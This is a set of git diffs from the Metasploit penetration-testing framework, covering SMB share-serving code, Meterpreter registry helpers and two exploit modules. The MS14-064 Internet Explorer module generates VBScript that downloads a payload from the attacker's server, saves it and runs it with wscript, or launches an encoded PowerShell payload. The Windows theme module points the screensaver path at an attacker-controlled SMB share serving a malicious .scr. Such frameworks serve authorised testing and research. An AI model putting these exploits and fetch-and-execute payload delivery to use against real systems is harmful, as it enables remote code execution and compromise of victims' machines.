|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param fid [Fixnum] The file identifier which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans_query_file_info_basic(c, fid)
|
||||
smb = @state[c]
|
||||
|
||||
if fid == smb[:file_id].to_i
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
elsif fid.nil? || fid == 0 || fid == smb[:dir_id].to_i # empty fid
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_info_basic_res(c, { file_attributes: attrib })
|
||||
end
|
||||
|
||||
# Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param fid [Fixnum] The file identifier which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans_query_file_info_standard(c, fid)
|
||||
send_info_standard_res(c, {
|
||||
allocation_size: 1048576,
|
||||
number_links: 1,
|
||||
delete_pending: 0,
|
||||
directory: 0,
|
||||
end_of_file: file_contents.length
|
||||
})
|
||||
end
|
||||
|
||||
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
# @todo Delete elsif comment if testing proofs it as unnecessary
|
||||
def smb_cmd_trans_query_path_info_basic(c, path)
|
||||
if path && path.ends_with?(file_name)
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
#elsif path && path.ends_with?(file_name + '.Local')
|
||||
#attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
elsif path && path == path_name
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
elsif path.nil? || path.empty? || path == "\x00" # empty path
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_info_basic_res(c, { file_attributes: attrib })
|
||||
end
|
||||
|
||||
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans_query_path_info_standard(c, path)
|
||||
if path && path.include?(file_name)
|
||||
attrib = 0 # File attributes => file
|
||||
elsif path && path == path_name
|
||||
attrib = 1 # File attributes => directory
|
||||
elsif path.nil? || path.empty? || path == "\x00" # empty path
|
||||
attrib = 1 # File attributes => directory
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_info_standard_res(c, {
|
||||
allocation_size: 1048576,
|
||||
number_links: 1,
|
||||
delete_pending: 0,
|
||||
directory: attrib,
|
||||
end_of_file: file_contents.length
|
||||
})
|
||||
end
|
||||
|
||||
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_NETWORK_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans_query_path_info_network(c, path)
|
||||
|
||||
if path && path.include?(file_name)
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
elsif path && path == path_name
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
elsif path.nil? || path.empty? || path == "\x00" # empty path
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_info_network_res(c, {
|
||||
allocation_size: 1048576,
|
||||
end_of_file: file_contents.length,
|
||||
file_attributes: attrib
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_BASIC_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_info_basic_res(c, opts = {})
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
|
||||
query_path_info = CONST::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
|
||||
query_path_info.v['loCreationTime'] = lo
|
||||
query_path_info.v['hiCreationTime'] = hi
|
||||
query_path_info.v['loLastAccessTime'] = lo
|
||||
query_path_info.v['hiLastAccessTime'] = hi
|
||||
query_path_info.v['loLastWriteTime'] = lo
|
||||
query_path_info.v['hiLastWriteTime'] = hi
|
||||
query_path_info.v['loLastChangeTime'] = lo
|
||||
query_path_info.v['hiLastChangeTime'] = hi
|
||||
query_path_info.v['ExtFileAttributes'] = file_attributes
|
||||
|
||||
send_trans2_res(c, trans2_params, query_path_info)
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_STANDARD_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file.
|
||||
# @option opts [Fixnum] :number_links The number of hard links to the file.
|
||||
# @option opts [Fixnum] :delete_pending Indicates whether there is a delete action pending for the file.
|
||||
# @option opts [Fixnum] :directory Indicates whether the file is a directory.
|
||||
# @option opts [Fixnum] :end_of_file The offset from the start to the end of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_info_standard_res(c, opts = {})
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
number_links = opts[:number_links] || 0
|
||||
delete_pending = opts[:delete_pending] || 0
|
||||
directory = opts[:directory] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
|
||||
query_path_info = CONST::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
|
||||
query_path_info.v['AllocationSize'] = allocation_size
|
||||
query_path_info.v['EndOfFile'] = end_of_file
|
||||
query_path_info.v['NumberOfLinks'] = number_links
|
||||
query_path_info.v['DeletePending'] = delete_pending
|
||||
query_path_info.v['Directory'] = directory
|
||||
|
||||
send_trans2_res(c, trans2_params, query_path_info)
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_NETWORK_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file.
|
||||
# @option opts [Fixnum] :end_of_file The offset from the start to the end of the file.
|
||||
# @option opts [Fixnum] :file_attributes The file attributes.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_info_network_res(c, opts= {})
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
|
||||
query_path_info = CONST::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct
|
||||
query_path_info.v['loCreationTime'] = lo
|
||||
query_path_info.v['hiCreationTime'] = hi
|
||||
query_path_info.v['loLastAccessTime'] = lo
|
||||
query_path_info.v['hiLastAccessTime'] = hi
|
||||
query_path_info.v['loLastWriteTime'] = lo
|
||||
query_path_info.v['hiLastWriteTime'] = hi
|
||||
query_path_info.v['loLastChangeTime'] = lo
|
||||
query_path_info.v['hiLastChangeTime'] = hi
|
||||
query_path_info.v['AllocationSize'] = allocation_size
|
||||
query_path_info.v['EndOfFile'] = end_of_file
|
||||
query_path_info.v['ExtFileAttributes'] = file_attributes
|
||||
|
||||
send_trans2_res(c, trans2_params, query_path_info)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -552,6 +552,8 @@ protected
|
|||
when ARCH_X64 then Metasm::X86_64.new
|
||||
when ARCH_PPC then Metasm::PowerPC.new
|
||||
when ARCH_ARMLE then Metasm::ARM.new
|
||||
when ARCH_MIPSLE then Metasm::MIPS.new(:little)
|
||||
when ARCH_MIPSBE then Metasm::MIPS.new(:big)
|
||||
else
|
||||
elog("Broken payload #{refname} has arch unsupported with assembly: #{module_info["Arch"].inspect}")
|
||||
elog("Call stack:\n#{caller.join("\n")}")
|
||||
|
|
|
@ -439,12 +439,10 @@ protected
|
|||
subkeys = []
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
perms = meterpreter_registry_perms(KEY_READ, view)
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, perms)
|
||||
keys = open_key.enum_key
|
||||
keys = session.sys.registry.enum_key_direct(root_key, base_key, perms)
|
||||
keys.each { |subkey|
|
||||
subkeys << subkey
|
||||
}
|
||||
open_key.close
|
||||
return subkeys
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
return nil
|
||||
|
@ -460,12 +458,10 @@ protected
|
|||
vals = {}
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
perms = meterpreter_registry_perms(KEY_READ, view)
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, perms)
|
||||
vals = open_key.enum_value
|
||||
vals = session.sys.registry.enum_value_direct(root_key, base_key, perms)
|
||||
vals.each { |val|
|
||||
values << val.name
|
||||
}
|
||||
open_key.close
|
||||
return values
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
return nil
|
||||
|
@ -480,10 +476,8 @@ protected
|
|||
value = nil
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
perms = meterpreter_registry_perms(KEY_READ, view)
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, perms)
|
||||
v = open_key.query_value(valname)
|
||||
v = session.sys.registry.query_value_direct(root_key, base_key, valname, perms)
|
||||
value = v.data
|
||||
open_key.close
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
return nil
|
||||
end
|
||||
|
@ -516,9 +510,8 @@ protected
|
|||
begin
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
perms = meterpreter_registry_perms(KEY_WRITE, view)
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, perms)
|
||||
open_key.set_value(valname, session.sys.registry.type2str(type), data)
|
||||
open_key.close
|
||||
session.sys.registry.set_value_direct(root_key, base_key,
|
||||
valname, session.sys.registry.type2str(type), data, perms)
|
||||
return true
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
return nil
|
||||
|
|
|
@ -89,7 +89,6 @@ class Registry
|
|||
request.add_tlv(TLV_TYPE_TARGET_HOST, target_host)
|
||||
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
|
||||
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
return Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RemoteRegistryKey.new(
|
||||
|
@ -166,6 +165,24 @@ class Registry
|
|||
return keys
|
||||
end
|
||||
|
||||
def Registry.enum_key_direct(root_key, base_key, perm = KEY_READ)
|
||||
request = Packet.create_request('stdapi_registry_enum_key_direct')
|
||||
keys = []
|
||||
|
||||
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
|
||||
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
|
||||
request.add_tlv(TLV_TYPE_PERMISSION, perm)
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
# Enumerate through all of the registry keys
|
||||
response.each(TLV_TYPE_KEY_NAME) do |key_name|
|
||||
keys << key_name.value
|
||||
end
|
||||
|
||||
keys
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Registry value interaction
|
||||
|
@ -195,10 +212,55 @@ class Registry
|
|||
return true
|
||||
end
|
||||
|
||||
def Registry.set_value_direct(root_key, base_key, name, type, data, perm = KEY_WRITE)
|
||||
request = Packet.create_request('stdapi_registry_set_value_direct')
|
||||
|
||||
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
|
||||
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
|
||||
request.add_tlv(TLV_TYPE_PERMISSION, perm)
|
||||
request.add_tlv(TLV_TYPE_VALUE_NAME, name)
|
||||
request.add_tlv(TLV_TYPE_VALUE_TYPE, type)
|
||||
|
||||
if type == REG_SZ
|
||||
data += "\x00"
|
||||
elsif type == REG_DWORD
|
||||
data = [data.to_i].pack('V')
|
||||
end
|
||||
|
||||
request.add_tlv(TLV_TYPE_VALUE_DATA, data)
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Queries the registry value supplied in name and returns an
|
||||
# initialized RegistryValue instance if a match is found.
|
||||
#
|
||||
def Registry.query_value_direct(root_key, base_key, name, perm = KEY_READ)
|
||||
request = Packet.create_request('stdapi_registry_query_value_direct')
|
||||
|
||||
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
|
||||
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
|
||||
request.add_tlv(TLV_TYPE_PERMISSION, perm)
|
||||
request.add_tlv(TLV_TYPE_VALUE_NAME, name)
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value
|
||||
data = response.get_tlv(TLV_TYPE_VALUE_DATA).value
|
||||
|
||||
if type == REG_SZ
|
||||
data = data[0..-2]
|
||||
elsif type == REG_DWORD
|
||||
data = data.unpack('N')[0]
|
||||
end
|
||||
|
||||
Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new(
|
||||
client, 0, name, type, data)
|
||||
end
|
||||
|
||||
def Registry.query_value(hkey, name)
|
||||
request = Packet.create_request('stdapi_registry_query_value')
|
||||
|
||||
|
@ -207,8 +269,8 @@ class Registry
|
|||
|
||||
response = client.send_request(request)
|
||||
|
||||
data = response.get_tlv(TLV_TYPE_VALUE_DATA).value;
|
||||
type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value;
|
||||
data = response.get_tlv(TLV_TYPE_VALUE_DATA).value
|
||||
type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value
|
||||
|
||||
if (type == REG_SZ)
|
||||
data = data[0..-2]
|
||||
|
@ -272,6 +334,24 @@ class Registry
|
|||
return values
|
||||
end
|
||||
|
||||
def Registry.enum_value_direct(root_key, base_key, perm = KEY_READ)
|
||||
request = Packet.create_request('stdapi_registry_enum_value_direct')
|
||||
values = []
|
||||
|
||||
request.add_tlv(TLV_TYPE_ROOT_KEY, root_key)
|
||||
request.add_tlv(TLV_TYPE_BASE_KEY, base_key)
|
||||
request.add_tlv(TLV_TYPE_PERMISSION, perm)
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each(TLV_TYPE_VALUE_NAME) do |value_name|
|
||||
values << Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new(
|
||||
client, 0, value_name.value)
|
||||
end
|
||||
|
||||
values
|
||||
end
|
||||
|
||||
#
|
||||
# Return the key value associated with the supplied string. This is useful
|
||||
# for converting HKLM as a string into its actual integer representation.
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -11,17 +11,19 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
|
||||
'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
|
||||
The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
|
||||
For this module to be successful, powershell is required on the target machine. On
|
||||
Internet Explorer versions using Protected Mode, the user has to manually allow
|
||||
powershell.exe to execute in order to be compromised.
|
||||
The vulnerability affects Internet Explorer 3.0 until version 11 within Windows 95 up to
|
||||
Windows 10, and there is no patch for Windows XP or older.
|
||||
|
||||
Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other
|
||||
newer Windows systems, the exploit will try using Powershell instead.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
@ -32,6 +34,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
'Wesley Neelen', # security[at]forsec.nl
|
||||
'GradiusX <francescomifsud[at]gmail.com>',
|
||||
'b33f', # @FuzzySec
|
||||
'sinn3r'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -46,14 +49,24 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[
|
||||
'Windows XP',
|
||||
{
|
||||
'os_name' => OperatingSystems::Match::WINDOWS_XP
|
||||
}
|
||||
],
|
||||
[
|
||||
'Other Windows x86',
|
||||
{
|
||||
'os_name' => OperatingSystems::Match::WINDOWS,
|
||||
}
|
||||
]
|
||||
],
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:ua_name => HttpClients::IE,
|
||||
:os_name => /win/i,
|
||||
:arch => 'x86',
|
||||
:arch => ARCH_X86,
|
||||
:ua_ver => lambda { |ver| ver.to_i.between?(4, 10) }
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
|
@ -260,20 +273,18 @@ end function
|
|||
|
||||
end
|
||||
|
||||
def get_html()
|
||||
def vbs_vector(prep)
|
||||
vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs"
|
||||
gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif"
|
||||
|
||||
if datastore['TRYUAC']
|
||||
tryuac = 'runas'
|
||||
else
|
||||
tryuac = 'open'
|
||||
end
|
||||
payload_src = (datastore['SSL'] ? 'https' : 'http')
|
||||
payload_src << '://'
|
||||
payload_src << (datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'])
|
||||
payload_src << ":#{datastore['SRVPORT']}#{get_module_resource}/#{gif_name}"
|
||||
|
||||
payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
|
||||
payl.slice! "powershell.exe "
|
||||
prep = vbs_prepare()
|
||||
|
||||
html = %Q|
|
||||
<!doctype html>
|
||||
# I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
|
||||
# with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.
|
||||
%Q|<!doctype html>
|
||||
<html>
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
||||
|
@ -282,8 +293,19 @@ end function
|
|||
function runaaaa()
|
||||
On Error Resume Next
|
||||
|
||||
set xmlhttp = CreateObject("Microsoft.XMLHTTP")
|
||||
xmlhttp.open "GET", "#{payload_src}", False
|
||||
xmlhttp.send
|
||||
|
||||
Set objFSO=CreateObject("Scripting.FileSystemObject")
|
||||
folder = objFSO.GetSpecialFolder(2)
|
||||
scriptName = folder + "\\#{vbs_name}"
|
||||
Set objFile = objFSO.CreateTextFile(scriptName,True)
|
||||
objFile.Write xmlhttp.responseText
|
||||
objFile.Close
|
||||
|
||||
set shell=createobject("Shell.Application")
|
||||
shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0
|
||||
shell.ShellExecute "wscript.exe", scriptName, "", "open", 0
|
||||
|
||||
end function
|
||||
</script>
|
||||
|
@ -293,12 +315,71 @@ end function
|
|||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
def powershell_vector(prep)
|
||||
if datastore['TRYUAC']
|
||||
tryuac = 'runas'
|
||||
else
|
||||
tryuac = 'open'
|
||||
end
|
||||
|
||||
# Powershell was the first technique demonstrated publicly.
|
||||
# On some Windows setups such as Windows 7 without a service pack, this works quite well.
|
||||
# But other Windows setups you will get a prompt.
|
||||
payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
|
||||
payl.slice! "powershell.exe "
|
||||
|
||||
%Q|<!doctype html>
|
||||
<html>
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
||||
<body>
|
||||
<script language="VBScript">
|
||||
function runaaaa()
|
||||
On Error Resume Next
|
||||
set shell=createobject("Shell.Application")
|
||||
shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0
|
||||
end function
|
||||
</script>
|
||||
<script language="VBScript">
|
||||
#{prep}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
def get_html
|
||||
prep = vbs_prepare()
|
||||
case get_target.name
|
||||
when OperatingSystems::Match::WINDOWS_XP
|
||||
return vbs_vector(prep)
|
||||
else
|
||||
return powershell_vector(prep)
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Requesting: #{request.uri}")
|
||||
send_exploit_html(cli, get_html())
|
||||
case request.uri
|
||||
when /\.gif/
|
||||
if get_target.name =~ OperatingSystems::Match::WINDOWS_XP
|
||||
p = regenerate_payload(cli)
|
||||
data = generate_payload_exe({:code => p.encoded})
|
||||
|
||||
# The default template uses \n, and wscript.exe isn't very happy about that.
|
||||
# It should be \r\n .
|
||||
vbs = Msf::Util::EXE.to_exe_vbs(data).gsub(/\x0a/, "\r\n")
|
||||
|
||||
send_response(cli, vbs)
|
||||
else
|
||||
# The VBS technique is only for Windows XP. So if a non-XP system is requesting it,
|
||||
# something is not right.
|
||||
send_not_found(cli)
|
||||
end
|
||||
else
|
||||
send_exploit_html(cli, get_html)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::SMB::Server
|
||||
include Msf::Exploit::Remote::SMB::Server::Share
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -28,7 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'Eduardo Prado', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
'juan vazquez', # Metasploit module
|
||||
'Matthew Hall <hallm@sec-1.com>' # Metasploit module refactored to use Msf::Exploit::Remote::SMB::Server::Share
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -60,27 +61,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
|
||||
OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ])
|
||||
OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('FILE_CONTENTS')
|
||||
end
|
||||
|
||||
def exploit
|
||||
def primer
|
||||
self.file_contents = generate_payload_exe
|
||||
print_status("Malicious SCR available on #{unc}...")
|
||||
|
||||
if (datastore['UNCPATH'])
|
||||
@unc = datastore['UNCPATH']
|
||||
print_status("Remember to share the malicious EXE payload as #{@unc}")
|
||||
else
|
||||
print_status("Generating our malicious executable...")
|
||||
@exe = generate_payload_exe
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
@share = rand_text_alpha(5 + rand(5))
|
||||
@scr_file = "#{rand_text_alpha(5 + rand(5))}.scr"
|
||||
@hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i)
|
||||
@unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}"
|
||||
end
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
# Default Windows XP / 2003 theme modified
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
theme = <<-EOF
|
||||
; Copyright (c) Microsoft Corp. 1995-2001
|
||||
|
||||
|
@ -112,322 +104,12 @@ Pattern=
|
|||
ScreenSaveActive=0
|
||||
|
||||
[boot]
|
||||
SCRNSAVE.EXE=#{@unc}
|
||||
SCRNSAVE.EXE=#{unc}
|
||||
|
||||
[MasterThemeSelector]
|
||||
MTSM=DABJDKT
|
||||
EOF
|
||||
file_create(theme)
|
||||
print_good("Let your victim open #{datastore['FILENAME']}")
|
||||
|
||||
if not datastore['UNCPATH']
|
||||
print_status("Ready to deliver your payload on #{@unc}")
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# TODO: these smb_* methods should be moved up to the SMBServer mixin
|
||||
# development and test on progress
|
||||
|
||||
def smb_cmd_dispatch(cmd, c, buff)
|
||||
smb = @state[c]
|
||||
vprint_status("Received command #{cmd} from #{smb[:name]}")
|
||||
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
#Record the IDs
|
||||
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
||||
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
||||
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
||||
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
||||
|
||||
case cmd
|
||||
when CONST::SMB_COM_NEGOTIATE
|
||||
smb_cmd_negotiate(c, buff)
|
||||
when CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
wordcount = pkt['Payload']['SMB'].v['WordCount']
|
||||
if wordcount == 0x0D # It's the case for Share Security Mode sessions
|
||||
smb_cmd_session_setup(c, buff)
|
||||
else
|
||||
vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
|
||||
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
when CONST::SMB_COM_TRANSACTION2
|
||||
smb_cmd_trans(c, buff)
|
||||
when CONST::SMB_COM_NT_CREATE_ANDX
|
||||
smb_cmd_create(c, buff)
|
||||
when CONST::SMB_COM_READ_ANDX
|
||||
smb_cmd_read(c, buff)
|
||||
else
|
||||
vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")
|
||||
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def smb_cmd_negotiate(c, buff)
|
||||
pkt = CONST::SMB_NEG_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
|
||||
|
||||
dialect = dialects.index("NT LM 0.12") || dialects.length-1
|
||||
|
||||
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 17
|
||||
pkt['Payload'].v['Dialect'] = dialect
|
||||
pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode
|
||||
pkt['Payload'].v['MaxMPX'] = 50
|
||||
pkt['Payload'].v['MaxVCS'] = 1
|
||||
pkt['Payload'].v['MaxBuff'] = 4356
|
||||
pkt['Payload'].v['MaxRaw'] = 65536
|
||||
pkt['Payload'].v['SystemTimeLow'] = time_lo
|
||||
pkt['Payload'].v['SystemTimeHigh'] = time_hi
|
||||
